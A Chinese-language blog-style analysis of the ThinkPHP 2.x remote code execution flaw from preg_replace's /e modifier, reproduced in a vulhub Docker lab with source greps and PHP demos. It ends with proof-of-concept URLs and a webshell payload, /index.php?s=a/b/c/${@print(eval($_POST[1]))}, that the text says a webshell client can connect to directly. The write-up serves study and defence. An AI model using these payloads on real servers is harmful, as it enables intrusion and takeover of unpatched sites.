ThinkPHP系列漏洞之ThinkPHP 2.x 任意代碼執行

斗哥將帶來ThinkPHP各個版本的漏洞分析文章。

ThinkPHP是一個免費開源用戶數量非常多的一個PHP開發框架,這個框架曾經爆出各種RCE和SQL注入漏洞。斗哥將帶來ThinkPHP各個版本的漏洞分析文章,此為第一篇從TP最早的版本開始分析。

0×00 漏洞描述

在ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

導致用戶的輸入參數被插入雙引號中執行,造成任意代碼執行漏洞。

ThinkPHP 3.0版本因為Lite模式下沒有修復該漏洞,也存在這個漏洞。

所以先來看看preg_replace這個函數,這個函數是個替換函數,而且支持正則,使用方式如下:

preg_replace('正則規則','替換字符','目標字符')

這個函數的3個參數,結合起來的意思是:如果目標字符存在符合正則規則的字符,那么就替換為替換字符,如果此時正則規則中使用了/e這個修飾符,則存在代碼執行漏洞。

下面是搜索到的關于/e的解釋:

e 配合函數preg_replace()使用, 可以把匹配來的字符串當作正則表達式執行;  
/e 可執行模式,此為PHP專有參數,例如preg_replace函數。

本地測試直接使用下面這行代碼測試即可,可使用在線PHP沙箱來測試。

沙箱地址:http://sandbox.onlinephpfunctions.com/

<?php
@preg_replace('/test/e','print_r("AAA");','just test');

這個函數5.2~5.6都還是可以執行的,但是到了php 版本7 以上,就已經都不支持/e修飾符了。

0×01 環境搭建與漏洞復現

斗哥選擇了vunhub的docker靶場進行環境搭建,執行如下命令啟動ThinkPHP 2.1的Demo應用:

docker-compose up -d

訪問http://10.10.10.199:8080/index.php?s=/index/index/xxx/${@phpinfo()}

0×02 分析學習

從漏洞挖掘的角度,如果采用的是關鍵函數查找的方式,應該是先搜索preg_replace這個函數,發現使用了這個函數之后,在查看是否使用/e修飾符,然后查看是否存在可控參數,如果存在,在分析是否可以傳參利用。

docker ps
docker exec -it <Container ID> /bin/bash
cd /var/www/html
find . -name '*.php' | xargs grep -n 'preg_replace'

存在preg_replace函數的腳本:

./ThinkPHP/Mode/Lite/ThinkTemplateCompiler.class.php
./ThinkPHP/Mode/Lite/Dispatcher.class.php
./ThinkPHP/Lib/Think/Template/ThinkTemplate.class.php
./ThinkPHP/Lib/Think/Template/TagLib.class.php
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php
./ThinkPHP/Common/extend.php
./ThinkPHP/Common/functions.php

存在/e修飾符的腳本:

./ThinkPHP/Mode/Lite/Dispatcher.class.php:115:            $res = preg_replace('@(\w+)'.C('URL_PATHINFO_DEPR').'([^,\/]+)@e', '$pathInfo[\'\\1\']="\\2";', $_SERVER['PATH_INFO']);

./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:57:                $rule  = preg_replace('/{\$(_\w+)\.(\w+)\|(\w+)}/e',"\\3(\$\\1['\\2'])",$rule);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:58:                $rule  = preg_replace('/{\$(_\w+)\.(\w+)}/e',"\$\\1['\\2']",$rule);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:60:                $rule  = preg_replace('/{(\w+)\|(\w+)}/e',"\\2(\$_GET['\\1'])",$rule);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:61:                $rule  = preg_replace('/{(\w+)}/e',"\$_GET['\\1']",$rule);
./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:68:                $rule  = preg_replace('/{|(\w+)}/e',"\\1()",$rule);

./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102:            $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:224:                    $res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', implode('/',$paths));
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:239:                    $res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', str_replace($matches[0],'',$regx));

./ThinkPHP/Common/extend.php:215:        $str = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $str);

./ThinkPHP/Common/functions.php:145:        return ucfirst(preg_replace("/_([a-zA-Z])/e", "strtoupper('\\1')", $name));

根據漏洞描述,有漏洞的代碼位置在:

./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102:            $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

根據代碼注釋,了解到這個是thinkphp 內置的Dispacher類,用來完成URL解析、路由和調度。所以有必要了解一下thinkphp的關于這塊功能的使用。

在我看來,thinkphp 應該也是MVC框架,所有的請求都是根據路由來決定的。而Dispatcher.class.php就是規定如何來解析路由的這樣一個類。

類名為`Dispatcher`,class Dispatcher extends Think
里面的方法有:
static public function dispatch() URL映射到控制器
public static function getPathInfo()  獲得服務器的PATH_INFO信息
static public function routerCheck() 路由檢測
static private function parseUrl($route)
static private function getModule($var) 獲得實際的模塊名稱
static private function getGroup($var) 獲得實際的分組名稱

有漏洞的代碼位置在static public function dispatch(),叫URL映射控制器,也就是URL訪問的路徑是映射到哪個控制器下。

參考文章:https://www.cnblogs.com/TigerYangWTH/p/5792286.html 得到:

  • thinkphp 所有的主入口文件默認訪問index控制器(模塊)
  • thinkphp 所有的控制器默認執行index動作(方法)

參考文章:https://www.kancloud.cn/manual/thinkphp5_1/353955 得到:URL訪問規則:

ThinkPHP5.1在沒有定義路由的情況下典型的URL訪問規則是:

http://serverName/index.php(或者其它應用入口文件)/模塊/控制器/操作/[參數名/參數值...]

如果不支持PATHINFO的服務器可以使用兼容模式訪問如下:

http://serverName/index.php(或者其它應用入口文件)?s=/模塊/控制器/操作/[參數名/參數值...]

漏洞所在關鍵代碼塊

// 分析PATHINFO信息
self::getPathInfo();

if(!self::routerCheck()){   // 檢測路由規則 如果沒有則按默認規則調度URL
    $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
    $var  =  array();
    if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
        $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
        if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
            // 禁止直接訪問分組
            exit;
        }
    }
    if(!isset($_GET[C('VAR_MODULE')])) {// 還沒有定義模塊名稱
        $var[C('VAR_MODULE')]  =   array_shift($paths);
    }
    $var[C('VAR_ACTION')]  =   array_shift($paths);
    // 解析剩余的URL參數
    $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
    $_GET   =  array_merge($var,$_GET);
}
if(!self::routerCheck())

首先是沒有路由規則,所以函數按照默認規則調度URL。

先看到 $var[\'\\1\']="\\2"; ,而$var是一個array。

根據文章:https://www.bbsmax.com/A/l1dyr8E6ze/ ,https://521-wf.com/archives/45.html學習得到的姿勢:

代碼1:注意看當前的變量a 值為字符串,且該字符串本腳本沒有相同的函數名。

<?php
function test($str)
{
    echo "This func is run  $str .";
}

$a='GoodGoodStudy';
$b='[bbbaaahelloworldaaabbb]';

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

運行結果:
[bbbGoodGoodStudybbb]

代碼2:注意看當前的變量a 值為test()

<?php
function test($str)
{
    echo "This func is run  $str .";
}

$a='test()';
$b='[bbbaaahelloworldaaabbb]';

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

運行結果:
This func is run   .[bbbbbb]

可以發現執行了test()這個函數,但是并沒有傳遞參數進去。

代碼3:注意看當前的變量a 值為test("\1")

<?php
function test($str)
{
    echo "This func is run  $str .";
}

$a='test("\1")';
$b='[bbbaaahelloworldaaabbb]';

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

運行結果:
This func is run  helloworld .[bbbbbb]

可以發現執行了test()這個函數,我們表面傳遞的參數是"\1",結果表明參數確實傳遞進去了,但是本例傳進去的是helloworldhelloworld是經過preg_replace()函數匹配要替換掉的原本那部分,現在轉而成了參數進行傳遞了。

那我們假設現在$b的值是可控的,用戶可以傳參控制。

代碼4:控制$b傳遞一個已知變量$c

<?php
function test($str)
{
    echo "This func is run  $str .";
}

$a='test("\1")';
$b='aaa$caaa';
$c="CXK";

echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);

運行結果:
This func is run  CXK .

基于這個結果,在PHP當中,${}是可以構造一個變量的,{}寫的是一般的字符,那么就會被當成變量,比如${a}等價于$a,那如果{}寫的是一個已知函數名稱呢?那么這個函數就會被執行,具體例子我們可以參考如下這個例子。

代碼5:

<?php

echo phpversion();
echo "\n";

$a = "CXK";

echo "aaaaa{${a}}aaaaaa";
echo "\n";

echo "aaaaa${phpversion()}aaaaaa";

運行結果:
5.6.19
aaaaaCXKaaaaaa
Notice:  Undefined variable: 5.6.19 in <b>[...][...] on line 11
aaaaaaaaaaa

可以看到,因為沒有一個變量名為5.6.19所以報錯了,但是代碼卻執行了,是不是有點像報錯注入的感覺?

回到ThinkPHP的代碼中來,可控的位置為implode($depr,$paths)implode()是將數組轉成字符串,而'$var[\'\\1\']="\\2";'是對一個數組做操作。

來分析一下正則(\w+)\/([^/]+),這個正則的意思是取路徑的每2個參數。

代碼:

<?php
$var = array();
$a='$var[\'\\1\']="\\2";';
$b='a/b/c/d/e/f';
preg_replace("/(\w+)\/([^\/\/])/ies",$a,$b);


print_r($var);

運行結果:
Array
(
    [a] => b
    [c] => d
    [e] => f
)

通過上面的代碼,更加清晰的是取出每2個參數,然后第一個參數作為數組的鍵,第二個參數作為數組的值,那么在這個過程當中,上述例子如果$b可控,同樣會發生代碼執行。

代碼:此時$b采用的是雙引號閉合的,注意如果采用單引號則不會有代碼執行。

<?php
$var = array();
$a='$var[\'\\1\']="\\2";';
$b="a/{${phpversion()}}/c/d/e/f";
preg_replace("/(\w+)\/([^\/\/])/ies",$a,$b);


print_r($var);
運行結果:
Notice:  Undefined variable: 5.4.6 in [...][...]on line 5
Array
(
    [c] => d
    [e] => f
)

需要說明的是,代碼執行的位置,必須是數組的值的位置而不是鍵的位置。

然后在回到ThinkPHP的代碼中來

if(!isset($_GET[C('VAR_MODULE')])) {// 還沒有定義模塊名稱
    $var[C('VAR_MODULE')]  =   array_shift($paths);
}
$var[C('VAR_ACTION')]  =   array_shift($paths);
// 解析剩余的URL參數

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET   =  array_merge($var,$_GET);

數組$var在路徑存在模塊和動作時,會去除掉前2個值。而數組$var來自于explode($depr,trim($_SERVER['PATH_INFO'],'/'));也就是路徑。

所以我們可以構造poc如下:

/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}
......

下面給出一個能夠直接菜刀連接的payload:

/index.php?s=a/b/c/${@print(eval($_POST[1]))}

1

取消
Loading...

填寫個人信息

姓名
電話
郵箱
公司
行業
職位
css.php 微信上那些说赚钱是真的吗